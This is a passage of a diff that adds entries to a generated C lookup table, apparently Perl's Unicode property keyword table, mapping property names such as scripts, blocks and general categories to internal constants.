+  {     0,  7459,  3610,   3,   8, PL_SC__BOPO }   /* sc=bopomofo */,
+  {     3,   184,  1589,   2,   5, PL_LATN }   /* islatin */,
+  {     0,    21,  5246,   3,   4, PL_ASCII }   /* inascii */,
+  {     0,  2236,  1013,  10,   5, PL_L }   /* category=letter */,
+  {     0,  5968,  8072,   3,   4, PL_INOSAGE }   /* inosage */,
+  {     3,  4554,    24,  15,   1, PL_SB__CL }   /* sentencebreak=cl */,
+  {     3,  2229,  1690,  16,   2, PL_CN }   /* generalcategory=cn */,
+  {     0,  4010,     0,   6,   0, PL_TANG }   /* tangut */,
+  {     0,  7459,  7144,   3,   4, PL_SC__BUGI }   /* sc=bugi */,
+  {    56,  8272,  7997,   4,   2, PL_CWCF }   /* cwcf=y */,
+  {     6,  7918,     0,   6,   0, PL_THAA }   /* thaana */,
+  {     0,  4314,  6606,  13,  10, PL_JG__DALATHRISH }   /* joininggroup=dalathrish */,
+  {     3,  2750,  3223,   4,   2, -PL_TERM }   /* term=n */,
+  {     3,  6109,  2170,  10,  19, PL_PC }   /* category=connectorpunctuation */,
+  {    54,  7994,     1,   4,   1, -PL_IDC }   /* idc=n */,
+  {     1,  6472,  6395,  10,  11, PL_WB__SQ }   /* wordbreak=singlequote */,
+  {     1,  6890,  7660,   4,   7, PL_INTIRHUTA }   /* blk=tirhuta */,
+  {     0,   974,     8,  24,   1, PL_CCC__A }   /* canonicalcombiningclass=a */,
+  {     0,  1876,     0,  21,   0, PL_CWL }   /* changeswhenlowercased */,
+  {     1,  1354,  7768,  24,   6, -PL_COMPEX }   /* fullcompositionexclusion=false */,
+  {     3,  7136,  2877,   6,  10, PL_INDEVANAGARI }   /* block=devanagari */,
+  {    64,  4554,  7070,  14,   9, PL_SB__SC }   /* sentencebreak=scontinue */,
+  {     3,  8076,  7951,   5,   5, PL_PATWS }   /* patws=true */,
+  {    98,  1417,   295,   9,   2, PL_SM }   /* category=sm */,
+  {     0,  4542,  8553,   3,   3, PL_TGLG }   /* istglg */,
+  {     0,  7380,     8,   4,   1, PL_CCC__A }   /* ccc=a */,
+  {     0,  8096,  7359,   4,   7, PL_AVST }   /* scx=avestan */,
+  {     2,   720,     0,  30,   0, PL_ENCLOSEDALPHANUMSUP }   /* enclosedalphanumericsupplement */,
+  {     0,  7689,  6538,   4,   8, PL_ARABICEXTA }   /* isarabicexta */,
+  {     1,  3129,  7597,  17,   7, PL_SHAW }   /* scriptextensions=shavian */,
+  {     1,    78,     0,  35,   0, PL_ARABICMATH }   /* arabicmathematicalalphabeticsymbols */,
+  {     1,  7288,  1107,   7,   8, PL_SC__KANA }   /* script=katakana */,
+  {     0,  8011,  1797,   3,  14, PL_LM }   /* gc=modifierletter */,
+  {     1,  7380,  8916,   7,   2, PL_CCC__84 }   /* ccc=ccc84 */,
+  {     0,  7471,   468,   7,   5, PL_POSIXPUNCT }   /* isposixpunct */,
+  {     2,  6219,  7997,  11,   4, PL_JOINC }   /* joincontrol=yes */,
+  {     1,  5336,     0,   8,   0, PL_GREEKEXT }   /* greekext */,
+  {    69,  8096,  7145,   5,   3, PL_BUGI }   /* scx=bugi */,
+  {    21,  6554,  6547,   3,   9, PL_ASCII }   /* inbasiclatin */,
+  {    71,  6029,     0,   8,   0, PL_PHAISTOS }   /* phaistos */,
+  {     1,    96,  7997,  10,   4, PL_XPOSIXALPHA }   /* alphabetic=yes */,
+  {     3,  7689,  6874,   4,   7, PL_ARABICPFB }   /* isarabicpfb */,
+  {     5,  5544,  8187,  13,   2, PL_NV__27 }   /* numericvalue=27 */,
+  {    59,  1402,  6450,  24,  11, PL_INPC__TOPANDRIGHT }   /* indicpositionalcategory=topandright */,
+  {     0,  8096,  8388,   4,   4, PL_LISU }   /* scx=lisu */,
+  {     0,  6554,  4105,   3,  14, PL_BAMUMSUP }   /* inbamumsupplement */,
+  {     7,  2100,  8062,   3,   4, PL_OGAM }   /* isogham */,
+  {     0,  1503,   751,   3,  28, PL_ENCLOSEDIDEOGRAPHICSUP }   /* inenclosedideographicsupplement */,
+  {     0,  8560,     0,   4,   0, PL_TIBT }   /* tibt */,
+  {     1,  8816,  8673,   3,   2, PL_NV__14 }   /* nv=14 */,
+  {     0,  8572,  1107,   3,   2, PL_WB__KA }   /* wb=ka */,
+  {     0,  3129,  8476,  17,   4, PL_COPT }   /* scriptextensions=qaac */,
+  {     3,  8196,  7714,   4,   1, PL_AGE__3 }   /* age=3 */,
+  {     5,  1746,  4561,  21,   2, PL_WB__EB }   /* graphemeclusterbreak=eb */,
+  {     1,   184,   954,   2,   5, PL_GREK }   /* isgreek */,
+  {     4,  6890,  6041,   4,  12, PL_PLAYINGCARDS }   /* blk=playingcards */,
+  {     9,  7136,  5681,   6,  12, PL_CYRILLICEXTA }   /* block=cyrillicexta */,
+  {     0,  5557,  3223,  13,   2, -PL_PATSYN }   /* patternsyntax=n */,
+  {     0,  7459,  7956,   3,   5, PL_SC__ADLM }   /* sc=adlam */,
+  {     0,  7380,   184,   4,   2, PL_CCC__IS }   /* ccc=is */,
+  {     2,  7256,     0,   8,   0, PL_KANAEXTA }   /* kanaexta */,
+  {   198,  1797,     0,   4,   0, PL_MODI }   /* modi */,
+  {     3,  6890,  1939,   4,  21, PL_CJKCOMPATFORMS }   /* blk=cjkcompatibilityforms */,
+  {     5,  8096,  8556,   4,   4, PL_THAI }   /* scx=thai */,
+  {     1,  7034,     0,   4,   0, PL_PALM }   /* palm */,
+  {     2,   415,  3581,  11,   2, PL_IDEO }   /* ideographic=t */,
+  {     0,  7136,  2128,   6,  21, PL_YIJING }   /* block=yijinghexagramsymbols */,
+  {     0,  2503,     0,  19,   0, PL_ENCLOSEDALPHANUMSUP }   /* enclosedalphanumsup */,
+  {     1,   283,     0,  33,   0, PL_MISCMATHSYMBOLSA }   /* miscellaneousmathematicalsymbolsa */,
+  {     0,  7288,  7499,   7,   7, PL_SC__KALI }   /* script=kayahli */,
+  {    14,  8096,  8548,   4,   4, PL_TFNG }   /* scx=tfng */,
+  {    55,  7822,     0,   6,   0, PL_HATR }   /* hatran */,
+  {     0,  7168,     0,   8,   0, PL_EXT }   /* extender */,
+  {    14,   184,  8424,   2,   4, PL_NBAT }   /* isnbat */,
+  {     9,  4542,  1813,   3,  14, PL_TRANSPORTANDMAP }   /* istransportandmap */,
+  {     1,  6890,  4687,   4,  14, PL_CJKCOMPATFORMS }   /* blk=cjkcompatforms */,
+  {     1,  8340,  4967,   3,  14, PL_JG__MANICHAEANKAPH }   /* jg=manichaeankaph */,
+  {     1,  7459,  7016,   3,   9, PL_SC__PERM }   /* sc=oldpermic */,
+  {     4,  7288,  7443,   7,   4, PL_SC__GRAN }   /* script=gran */,
+  {     0,  8016,    34,   4,   6, PL_GREXT }   /* gcb=extend */,
+  {    12,  6890,  3674,   4,  16, PL_CYPRIOTSYLLABARY }   /* blk=cypriotsyllabary */,
+  {     1,  7136,  7569,   6,   7, PL_INOSMANYA }   /* block=osmanya */,
+  {     0,  5414,     0,  13,   0, PL_LOWSURROGATES }   /* lowsurrogates */,
+  {     0,  8011,    27,   3,   2, PL_LL }   /* gc=ll */,
+  {     6,  8096,  8348,   4,   4, PL_KALI }   /* scx=kali */,
+  {     0,  8096,  3994,   4,   6, PL_SYRC }   /* scx=syriac */,
+  {     2,  6890,  3021,   4,   9, PL_LATINEXTA }   /* blk=latinexta */,
+  {     0,  4314,  7176,  13,   8, PL_JG__FARSIYEH }   /* joininggroup=farsiyeh */,
+  {    69,  2985,  3223,   3,   2, -PL_IDS }   /* ids=n */,
+  {    24,  6554,  1108,   3,   4, PL_INBATAK }   /* inbatak */,
+  {     7,  4464,    17,  15,   1, PL_DT__CAN }   /* nfdquickcheck=no */,
+  {     0,   186,  7951,   2,   5, PL_CE }   /* ce=true */,
+  {     6,   382,     0,  33,   0, PL_SUPSYMBOLSANDPICTOGRAPHS }   /* supplementalsymbolsandpictographs */,
+  {     1,  6554,  6567,   3,   9, PL_BOXDRAWING }   /* inboxdrawing */,
+  {     2,  6890,  3722,   4,  16, PL_HIGHPUSURROGATES }   /* blk=highpusurrogates */,
+  {     0,  6210,  2788,   3,   7, PL_INCHEROKEE }   /* incherokee */,
+  {    35,  7478,  6440,   3,  10, PL_SYLO }   /* issylotinagri */,
+  {     0,  7380,  2777,   4,  10, PL_CCC__AR }   /* ccc=aboveright */,
+  {    21,  8016,    24,   4,   1, PL_GCB__L }   /* gcb=l */,
+  {     0,  7459,  8588,   3,   4, PL_SC__YI }   /* sc=yiii */,
+  {     6,  6263,  8457,  10,   2, PL_LB__SG }   /* linebreak=sg */,
+  {     0,   415,  7768,  11,   2, -PL_IDEO }   /* ideographic=f */,
+  {     0,  7828,  7768,   6,   2, -PL_HYPHEN }   /* hyphen=f */,
+  {   130,  2787,     0,  11,   0, PL_CHEROKEESUP }   /* cherokeesup */,
+  {     2,  8096,  8316,   4,   4, PL_HANO }   /* scx=hano */,
+  {    37,  8552,     0,   4,   0, PL_TGLG }   /* tglg */,
+  {    15,  6890,  2107,   4,   7, PL_INSINHALA }   /* blk=sinhala */,
+  {     1,  1448,  7297,   3,   7, PL_SPECIALS }   /* inspecials */,
+  {     0,  6890,  6307,   4,  11, PL_MYANMAREXTA }   /* blk=myanmarexta */,
+  {    46,  4284,     0,  15,   0, PL_INHANGUL }   /* hangulsyllables */,
+  {    15,  7288,  1566,   7,   6, PL_SC__HANG }   /* script=hangul */,
+  {     5,   184,  3458,   2,   4, PL_MANI }   /* ismani */,
+  {    15,  8798,  7768,   3,   6, -PL_LOE }   /* loe=false */,
+  {     1,  7288,  1981,   7,   8, PL_SC__CYRL }   /* script=cyrillic */,
+  {     0,  1746,  5083,  22,  10, PL_GCB__SM }   /* graphemeclusterbreak=spacingmark */,
+  {     6,  6554,  1498,   3,  22, PL_BYZANTINEMUSIC }   /* inbyzantinemusicalsymbols */,
+  {     0,  8096,  7129,   5,   7, PL_BASS }   /* scx=bassavah */,
+  {     1,  6890,   113,   4,  25, PL_DIACRITICALS }   /* blk=combiningdiacriticalmarks */,
+  {     2,  6472,    73,  10,   2, PL_LB__EM }   /* wordbreak=em */,
+  {     0,  8376,    21,   3,   2, PL_LB__IN }   /* lb=in */,
+  {     0,  8816,  7702,   3,   1, PL_NV__2 }   /* nv=2 */,
+  {     1,  5544,  7750,  13,   1, PL_NV__8 }   /* numericvalue=8 */,
+  {     2,  4542,  8545,   3,   3, PL_TAVT }   /* istavt */,
+  {     0,  4314,  5897,  13,  12, PL_JG__MALAYALAMSSA }   /* joininggroup=malayalamssa */,
+  {     0,  4089,     0,  15,   0, PL_ARABICEXTA }   /* arabicextendeda */,
+  {     0,  7136,  2465,   6,  19, PL_COUNTINGROD }   /* block=countingrodnumerals */,
+  {     0,  1887,  7768,   5,   6, -PL_XPOSIXLOWER }   /* lower=false */,
+  {     1,  2229,    38,  16,   2, PL_XPOSIXDIGIT }   /* generalcategory=nd */,
+  {   135,  2859,  7792,  18,   6, PL_DT__ENC }   /* decompositiontype=circle */,
+  {     1,  3147,     0,  18,   0, PL_TAIXUANJING }   /* taixuanjingsymbols */,
+  {     0,  8572,   108,   3,   2, PL_WB__MB }   /* wb=mb */,
+  {    10,  8340,  6636,   3,  10, PL_JG__KNOTTEDHEH }   /* jg=knottedheh */,
+  {     1,  7136,  7043,   6,   9, PL_INPAUCINHAU }   /* block=paucinhau */,
+  {    68,  7034,     0,   9,   0, PL_PALM }   /* palmyrene */,
+  {    37,  7136,  4299,   6,  15, PL_INIMPERIALARAMAIC }   /* block=imperialaramaic */,
+  {    26,  1354,  3223,  24,   2, -PL_COMPEX }   /* fullcompositionexclusion=n */,
+  {     0,  8816,  8915,   3,   2, PL_NV__48 }   /* nv=48 */,
+  {     6,   184,   133,   2,   4, PL_M }   /* ismark */,
+  {     0,  8096,  7443,   4,   7, PL_GRAN }   /* scx=grantha */,
+  {    64,  5544,  7709,  13,   2, PL_NV__16 }   /* numericvalue=16 */,
+  {     0,  8196,  8657,   4,   3, PL_AGE__2 }   /* age=2.0 */,
+  {    37,  1426,  4179,  22,  15, PL_INSC__CONSONANTMEDIAL }   /* indicsyllabiccategory=consonantmedial */,
+  {   130,  2100,  6007,   4,  10, PL_HUNG }   /* isoldhungarian */,
+  {     1,  8376,    96,   3,  10, PL_LB__AL }   /* lb=alphabetic */,
+  {     0,  8011,  8009,   3,   2, PL_CF }   /* gc=cf */,
+  {     4,  4554,   138,  14,   2, PL_SB__FO }   /* sentencebreak=fo */,
+  {    88,  6890,  6536,   4,  10, PL_ARABICEXTA }   /* blk=arabicexta */,
+  {     5,   184,  8281,   3,   3, PL_CYRL }   /* iscyrl */,
+  {     0,  7136,  4269,   6,  15, PL_DIACRITICALSSUP }   /* block=diacriticalssup */,
+  {     0,  6890,     0,   4,  42, PL_UCASEXT }   /* blk=unifiedcanadianaboriginalsyllabicsextended */,
+  {     0,  8011,  3854,   3,  10, PL_SM }   /* gc=mathsymbol */,
+  {     0,  3509,     0,  17,   0, PL_PATWS }   /* patternwhitespace */,
+  {     9,  4314,  8392,  13,   4, PL_JG__MEEM }   /* joininggroup=meem */,
+  {     0,  7689,  7106,   4,   6, PL_ARMN }   /* isarmenian */,
+  {     0,  4590,  3581,   2,   2, PL_VS }   /* vs=t */,
+  {    50,  6890,  3594,   4,  16, PL_ARABICSUP }   /* blk=arabicsupplement */,
+  {     0,   184,  8937,   2,   2, PL_ZL }   /* iszl */,
+  {     0,  8096,  7810,   4,   4, PL_GOTH }   /* scx=goth */,
+  {     9,  7136,  3390,   6,  16, PL_ETHIOPICEXT }   /* block=ethiopicextended */,
+  {    66,  2100,  1487,   4,   2, PL_OLCK }   /* isolck */,
+  {     4,  8096,  3458,   4,  10, PL_MANI }   /* scx=manichaean */,
+  {   124,  8340,  7176,   3,   8, PL_JG__FARSIYEH }   /* jg=farsiyeh */,
+  {    15,  7459,  7436,   3,   4, PL_ELBA }   /* sc=elba */,
+  {     2,    21,  5801,   2,  12, PL_KHMERSYMBOLS }   /* inkhmersymbols */,
+  {    19,  6890,  2249,   4,  10, PL_INGLAGOLITIC }   /* blk=glagolitic */,
+  {     2,  5825,     0,   4,   0, PL_MAHJ }   /* mahj */,
+  {     6,  7689,   948,   3,  26, PL_ANCIENTGREEKMUSIC }   /* isancientgreekmusicalnotation */,
+  {     0,  7689,    97,   3,   9, PL_XPOSIXALPHA }   /* isalphabetic */,
+  {    96,  7459,  7025,   3,   9, PL_ORKH }   /* sc=oldturkic */,
+  {     8,  8208,     0,   4,   0, PL_AHOM }   /* ahom */,
+  {     1,  7288,  7043,   7,   4, PL_PAUC }   /* script=pauc */,
+  {     0,  7136,  3057,   6,  18, PL_ORNAMENTALDINGBATS }   /* block=ornamentaldingbats */,
+  {     0,  8572,  5435,   3,   2, PL_WB__ML }   /* wb=ml */,
+  {     1,  8096,  7822,   4,   6, PL_HATR }   /* scx=hatran */,
+  {    21,  8816,  8911,   3,   2, PL_NV__46 }   /* nv=46 */,
+  {     0,   974,  8651,  27,   3, PL_CCC__132 }   /* canonicalcombiningclass=ccc132 */,
+  {     0,  7478,   383,   3,  32, PL_SUPSYMBOLSANDPICTOGRAPHS }   /* issupplementalsymbolsandpictographs */,
+  {   170,  7136,  4224,   6,  15, PL_CURRENCYSYMBOLS }   /* block=currencysymbols */,
+  {     0,  3962,     0,  16,   0, PL_SUPMATHOPERATORS }   /* supmathoperators */,
+  {     0,  7136,  2541,   6,  10, PL_JAMO }   /* block=hanguljamo */,
+  {     0,  6706,  8759,  10,   3, PL_IN__7 }   /* presentin=7.0 */,
+  {     0,  7288,  8237,   8,   3, PL_BATK }   /* script=batk */,
+  {     0,   184,  1359,   3,  19, PL_CE }   /* iscompositionexclusion */,
+  {     0,  6263,  3658,  10,  16, PL_LB__CL }   /* linebreak=closepunctuation */,
+  {     4,  7136,   690,   6,  30, PL_CUNEIFORMNUMBERS }   /* block=cuneiformnumbersandpunctuation */,
+  {    15,  8340,  7448,   3,   3, PL_JG__HAH }   /* jg=hah */,
+  {     0,  7226,   468,   6,   5, PL_XPOSIXPUNCT }   /* xposixpunct */,
+  {    51,  5544,  8630,  13,   3, PL_NV__1_SLASH_9 }   /* numericvalue=1/9 */,
+  {     1,  8324,     0,   4,   0, PL_HMNG }   /* hmng */,
+  {     2,  7492,     0,   7,   0, PL_KNDA }   /* kannada */,
+  {     0,  1417,  5135,   9,  14, PL_ZS }   /* category=spaceseparator */,
+  {     0,  8240,     1,   4,   1, PL_BC__EN }   /* bc=en */,
+  {    86,  3738,     0,  16,   0, PL_LATIN1 }   /* latin1supplement */,
+  {    35,   217,  7345,   6,   7, PL__PERL_IDSTART }   /* _perl_idstart */,
+  {     6,  6890,  6806,   4,  10, PL_INWARANGCITI }   /* blk=warangciti */,
+  {     4,  6472,   108,  10,   2, PL_WB__MB }   /* wordbreak=mb */,
+  {     0,  7288,  4299,   7,  15, PL_ARMI }   /* script=imperialaramaic */,
+  {     7,  2859,  4653,  18,   6, PL_DT__SQR }   /* decompositiontype=square */,
+  {    53,  6483,     0,   4,   0, PL_XIDC }   /* xidc */,
+  {     1,  6263,    23,  10,   2, PL_LB__AL }   /* linebreak=al */,
+  {    29,  8096,  7611,   4,   7, PL_SOYO }   /* scx=soyombo */,
+  {     0,  8036,  6798,   4,   8, PL_CN }   /* isunassigned */,
+  {     0,   974,  8642,  27,   3, PL_CCC__122 }   /* canonicalcombiningclass=ccc122 */,
+  {     2,  7696,  7768,   6,   2, -PL_XPOSIXSPACE }   /* wspace=f */,
+  {     1,  6263,  6197,  10,  11, PL_LB__IN }   /* linebreak=inseperable */,
+  {    77,   974,  7744,  24,   1, PL_CCC__7 }   /* canonicalcombiningclass=7 */,
+  {     1,  3946,  7997,  16,   4, PL_STERM }   /* sentenceterminal=yes */,
+  {     3,  6208,  7951,   5,   5, PL_JOINC }   /* joinc=true */,
+  {     2,  7136,  7780,   6,   6, PL_INCARIAN }   /* block=carian */,
+  {    20,  1306,     0,  13,   0, PL_M }   /* combiningmark */,
+  {    37,  6109,  4225,  10,  13, PL_SC }   /* category=currencysymbol */,
+  {     1,  7459,  5777,   3,   4, PL_HEBR }   /* sc=hebr */,
+  {     0,  1417,   468,   9,   5, PL_P }   /* category=punct */,
+  {     0,  6890,  7971,   4,   5, PL_INBATAK }   /* blk=batak */,
+  {     1,  7459,  7007,   3,   9, PL_ITAL }   /* sc=olditalic */,
+  {     1,  6208,  7997,   5,   2, PL_JOINC }   /* joinc=y */,
+  {     4,  8096,  2636,   4,   9, PL_MONG }   /* scx=mongolian */,
+  {     0,   184,  2598,   2,   4, PL_MERO }   /* ismero */,
+  {     3,  7136,   283,   6,  33, PL_MISCMATHSYMBOLSA }   /* block=miscellaneousmathematicalsymbolsa */,
+  {     3,    11,  3223,   2,   3, -PL_DI }   /* di=no */,
+  {     9,  7459,  3994,   3,   6, PL_SC__SYRC }   /* sc=syriac */,
+  {     9,  8240,  5079,   3,  14, PL_BC__NSM }   /* bc=nonspacingmark */,
+  {     3,  3516,  7997,  10,   4, PL_XPOSIXSPACE }   /* whitespace=yes */,
+  {     2,  7224,  5252,   8,   6, PL_XPOSIXXDIGIT }   /* isxposixxdigit */,
+  {     3,   974,  8685,  27,   2, PL_CCC__24 }   /* canonicalcombiningclass=ccc24 */,
+  {   170,  7168,  3581,   8,   2, PL_EXT }   /* extender=t */,
+  {    25,  7136,   600,   6,  30, PL_CJKEXTD }   /* block=cjkunifiedideographsextensiond */,
+  {     0,  7478,  7598,   3,   6, PL_SHAW }   /* isshavian */,
+  {     5,  7144,     0,   4,   0, PL_BUGI }   /* bugi */,
+  {     1,  1686,     0,  16,   0, PL_INDICNUMBERFORMS }   /* indicnumberforms */,
+  {     2,  8288,  3003,   3,   4, PL_DT__INIT }   /* dt=init */,
+  {    12,   184,  6546,   2,  10, PL_ASCII }   /* isbasiclatin */,
+  {    25,   184,  3610,   2,   8, PL_BOPO }   /* isbopomofo */,
+  {     0,  8240,  8813,   3,   3, PL_BC__NSM }   /* bc=nsm */,
+  {     7,  8011,  6362,   3,  11, PL_SO }   /* gc=othersymbol */,
+  {     1,  7288,  8296,   7,   4, PL_GONM }   /* script=gonm */,
+  {     5,  7136,    42,   6,  16, PL_CJKCOMPAT }   /* block=cjkcompatibility */,
+  {     8,  6210,   601,   3,  29, PL_CJKEXTD }   /* incjkunifiedideographsextensiond */,
+  {    16,  4402,  1798,   3,  14, PL_MODIFIERLETTERS }   /* inmodifierletters */,
+  {     3,  8816,  7720,   3,   5, PL_NV__40000 }   /* nv=40000 */,
+  {     2,  7168,  7768,   8,   6, -PL_EXT }   /* extender=false */,
+  {     0,  6713,  8768,   3,   3, PL_IN__9 }   /* in=9.0 */,
+  {    53,  7689,  6799,   3,   7, PL_ASSIGNED }   /* isassigned */,
+  {     1,  8572,    72,   3,   2, PL_WB__LE }   /* wb=le */,
+  {     2,  7168,  7768,   8,   2, -PL_EXT }   /* extender=f */,
+  {     1,  7689,  4660,   3,  13, PL_ANCIENTSYMBOLS }   /* isancientsymbols */,
+  {     0,  8816,  7744,   3,   2, PL_NV__70 }   /* nv=70 */,
+  {     0,    96,  7768,   5,   6, -PL_XPOSIXALPHA }   /* alpha=false */,
+  {    23,   974,  8646,  24,   2, PL_CCC__29 }   /* canonicalcombiningclass=29 */,
+  {   134,  8340,  5009,   3,  14, PL_JG__MANICHAEANTETH }   /* jg=manichaeanteth */,
+  {    56,   184,  7144,   2,   8, PL_BUGI }   /* isbuginese */,
+  {     1,    18,  7951,   2,   5, PL_RI }   /* ri=true */,
+  {     0,  6428,     0,  11,   0, PL_SUPERANDSUB }   /* superandsub */,
+  {     2,  8196,  8882,   4,   3, PL_AGE__6_DOT_3 }   /* age=v63 */,
+  {     0,   974,  7714,  27,   2, PL_CCC__30 }   /* canonicalcombiningclass=ccc30 */,
+  {    32,  8504,    72,   3,   2, PL_SB__LE }   /* sb=le */,
+  {    12,  7828,  7951,   6,   5, PL_HYPHEN }   /* hyphen=true */,
+  {     8,  7380,  3254,   4,  13, PL_CCC__202 }   /* ccc=attachedbelow */,
+  {     1,  5362,     0,   6,   0, PL_IPAEXT }   /* ipaext */,
+  {     0,  7288,  2636,   7,   4, PL_SC__MONG }   /* script=mong */,
+  {    32,   184,  3738,   2,  16, PL_LATIN1 }   /* islatin1supplement */,
+  {     0,  8096,  7152,   4,   4, PL_DUPL }   /* scx=dupl */,
+  {     1,  3129,  2598,  17,   4, PL_MERO }   /* scriptextensions=mero */,
+  {    15,  3129,  8388,  17,   4, PL_LISU }   /* scriptextensions=lisu */,
+  {     1,  7136,  6646,   6,  10, PL_MISCARROWS }   /* block=miscarrows */,
+  {   133,   184,    24,   2,   1, PL_L }   /* isl */,
+  {     1,  4464,  7996,   4,   3, PL_NFDQC__Y }   /* nfdqc=y */,
+  {     0,  7380,  7708,   4,   3, PL_CCC__216 }   /* ccc=216 */,
+  {     0,  7459,  4134,   3,   7, PL_BRAI }   /* sc=braille */,
+  {     0,  7380,  7708,   4,   2, PL_CCC__21 }   /* ccc=21 */,
+  {   178,  1426,  4715,  22,  14, PL_INSC__CONSONANTFINAL }   /* indicsyllabiccategory=consonantfinal */,
+  {     0,  4757,  7997,  14,   2, PL_GREXT }   /* graphemeextend=y */,
+  {    13,   184,  1372,   2,   2, PL_LU }   /* islu */,
+  {     5,    21,  3738,   2,   9, PL_LATIN1 }   /* inlatin1sup */,
+  {     0,  8376,  5669,   3,  12, PL_LB__SY }   /* lb=breaksymbols */,
+  {     0,  2246,  2486,   4,  17, PL_INEGYPTIANHIEROGLYPHS }   /* inegyptianhieroglyphs */,
+  {     0,  4554,    49,  14,   2, PL_SB__AT }   /* sentencebreak=at */,
+  {     1,  6506,  2129,   3,  20, PL_YIJING }   /* isyijinghexagramsymbols */,
+  {     4,  3509,  3223,  17,   2, -PL_PATWS }   /* patternwhitespace=n */,
+  {     2,  2369,  3212,  20,   7, PL_VO__U }   /* verticalorientation=upright */,
+  {     0,  7345,  7997,   7,   2, PL_IDS }   /* idstart=y */,
+  {     0,  8376,  1204,   3,   2, PL_LB__PO }   /* lb=po */,
+  {     6,  8096,  6406,   4,  11, PL_SORA }   /* scx=sorasompeng */,
+  {    76,  8016,   125,   4,   2, PL_LB__CR }   /* gcb=cr */,
+  {   154,  3290,     0,   4,   0, PL_UCAS }   /* ucas */,
+  {    14,   184,  4225,   3,  13, PL_SC }   /* iscurrencysymbol */,
+  {    25,  8011,  3914,   3,   5, PL_C }   /* gc=other */,
+  {     4,  2128,     0,   6,   0, PL_YIJING }   /* yijing */,
+  {     0,  2108,  1812,   4,   4, PL_INHATRAN }   /* inhatran */,
+  {     0,  6647,  6100,   4,   9, PL_L_AMP_ }   /* iscasedletter */,
+  {     3,  8340,  6274,   3,  11, PL_JG__MALAYALAMJA }   /* jg=malayalamja */,
+  {     1,  7136,  1960,   6,  21, PL_CJKRADICALSSUP }   /* block=cjkradicalssupplement */,
+  {    29,  3003,     0,  18,   0, PL_PI }   /* initialpunctuation */,
+  {     7,  2221,  4046,   3,   4, PL_LB__H3 }   /* hst=lvt */,
+  {    12,  1417,  1392,   9,   9, PL_CS }   /* category=surrogate */,
+  {     1,   974,  8632,  24,   2, PL_CCC__91 }   /* canonicalcombiningclass=91 */,
+  {    47,  7380,  8224,   4,   4, PL_CCC__216 }   /* ccc=atar */,
+  {     0,  4687,     0,  14,   0, PL_CJKCOMPATFORMS }   /* cjkcompatforms */,
+  {     0,  8044,     0,   4,   0, PL_PHLI }   /* phli */,
+  {     8,  8096,  4784,   4,   4, PL_CHAM }   /* scx=cham */,
+  {    60,  7007,     0,   9,   0, PL_ITAL }   /* olditalic */,
+  {     0,  7380,  5220,   4,   1, PL_CCC__0 }   /* ccc=0 */,
+  {    25,  1876,  7997,  21,   2, PL_CWL }   /* changeswhenlowercased=y */,
+  {     0,  6890,  1635,   4,  23, PL_SUPPUNCTUATION }   /* blk=supplementalpunctuation */,
+  {   324,  3129,  3288,  17,  17, PL_AGHB }   /* scriptextensions=caucasianalbanian */,
+  {     0,  7136,  8400,   6,   4, PL_INMIAO }   /* block=miao */,
+  {     4,  7136,  1589,   6,   9, PL_LATINEXTE }   /* block=latinexte */,
+  {     0,  6890,  5957,   4,  12, PL_INMENDEKIKAKUI }   /* blk=mendekikakui */,
+  {     0,  7478,  2675,   3,   3, PL_SUND }   /* issund */,
+  {     0,  8608,     0,   4,   0, PL_ZZZZ }   /* zzzz */,
+  {     0,  1746,  4047,  21,   3, PL_LB__H3 }   /* graphemeclusterbreak=lvt */,
+  {     2,   184,   982,   2,   2, PL_L_AMP_ }   /* islc */,
+  {    52,   184,  8492,   2,   4, PL_RUNR }   /* isrunr */,
+  {     1,  7136,   892,   6,  18, PL_INVS }   /* block=variationselectors */,
+  {   135,  3129,  2002,  17,  21, PL_PRTI }   /* scriptextensions=inscriptionalparthian */,
+  {    72,  1876,  7997,  21,   4, PL_CWL }   /* changeswhenlowercased=yes */,
+  {    82,  8288,  2369,   3,   8, PL_DT__VERT }   /* dt=vertical */,
+  {    13,  7226,  8001,   6,   5, PL_XPOSIXCNTRL }   /* xposixcntrl */,
+  {     5,  6890,  1282,   4,  24, PL_CJKSYMBOLS }   /* blk=cjksymbolsandpunctuation */,
+  {     0,  6890,  6926,   4,   9, PL_INKHUDAWADI }   /* blk=khudawadi */,
+  {     1,  3129,  7272,  17,   8, PL_MAHJ }   /* scriptextensions=mahajani */,
+  {     4,  8468,     0,   4,   0, PL_MIAO }   /* plrd */,
+  {     3,  8096,  2598,   4,  19, PL_MERO }   /* scx=meroitichieroglyphs */,
+  {     2,  3129,  6626,  17,   4, PL_KHAR }   /* scriptextensions=khar */,
+  {     4,   974,  8681,  24,   3, PL_CCC__BR }   /* canonicalcombiningclass=222 */,
+  {     2,  6890,  6881,   4,   9, PL_INBHAIKSUKI }   /* blk=bhaiksuki */,
+  {     2,  8096,  8071,   4,   5, PL_OSGE }   /* scx=osage */,
+  {     3,  8894,  1548,   3,   2, PL_VO__TR }   /* vo=tr */,
+  {     3,  7366,     0,   4,   0, PL_BENG }   /* beng */,
+  {    10,  4449,    26,  14,   1, PL_NFCQC__Y }   /* nfcquickcheck=y */,
+  {     1,  4542,  7633,   3,   6, PL_TGLG }   /* istagalog */,
+  {     0,  2229,  5253,  16,   5, PL_XPOSIXDIGIT }   /* generalcategory=digit */,
+  {    14,  1448,  6737,   3,   9, PL_INSAURASHTRA }   /* insaurashtra */,
+  {     0,  6890,  7408,   4,   7, PL_CJKEXTD }   /* blk=cjkextd */,
+  {     0,  8816,  8617,   3,   2, PL_NV__31 }   /* nv=31 */,
+  {     4,  6210,  1659,   3,  21, PL_CJKCOMPATIDEOGRAPHSSUP }   /* incjkcompatideographssup */,
+  {     2,  2787,     0,   4,   0, PL_CHER }   /* cher */,
+  {    26,  8816,  7726,   3,   6, PL_NV__432000 }   /* nv=432000 */,
+  {     0,  7380,  2289,   4,   4, PL_CCC__L }   /* ccc=left */,
+  {     2,  8376,   496,   3,   2, PL_LB__NU }   /* lb=nu */,
+  {     3,   184,  7499,   2,   7, PL_KALI }   /* iskayahli */,
+  {   129,  7136,  3271,   6,  17, PL_UCAS }   /* block=canadiansyllabics */,
+  {     1,  2229,   699,  16,   6, PL_N }   /* generalcategory=number */,
+  {   226,  6554,  2409,   3,   5, PL_INBRAHMI }   /* inbrahmi */,
+  {     4,  1206,  7647,   3,   6, PL_INTAIVIET }   /* intaiviet */,
+  {     0,  5765,  7997,  12,   4, PL_GRBASE }   /* graphemebase=yes */,
+  {    50,  4419,     0,  15,   0, PL_MISCPICTOGRAPHS }   /* miscpictographs */,
+  {     0,  7288,  5400,   8,   7, PL_BALI }   /* script=balinese */,
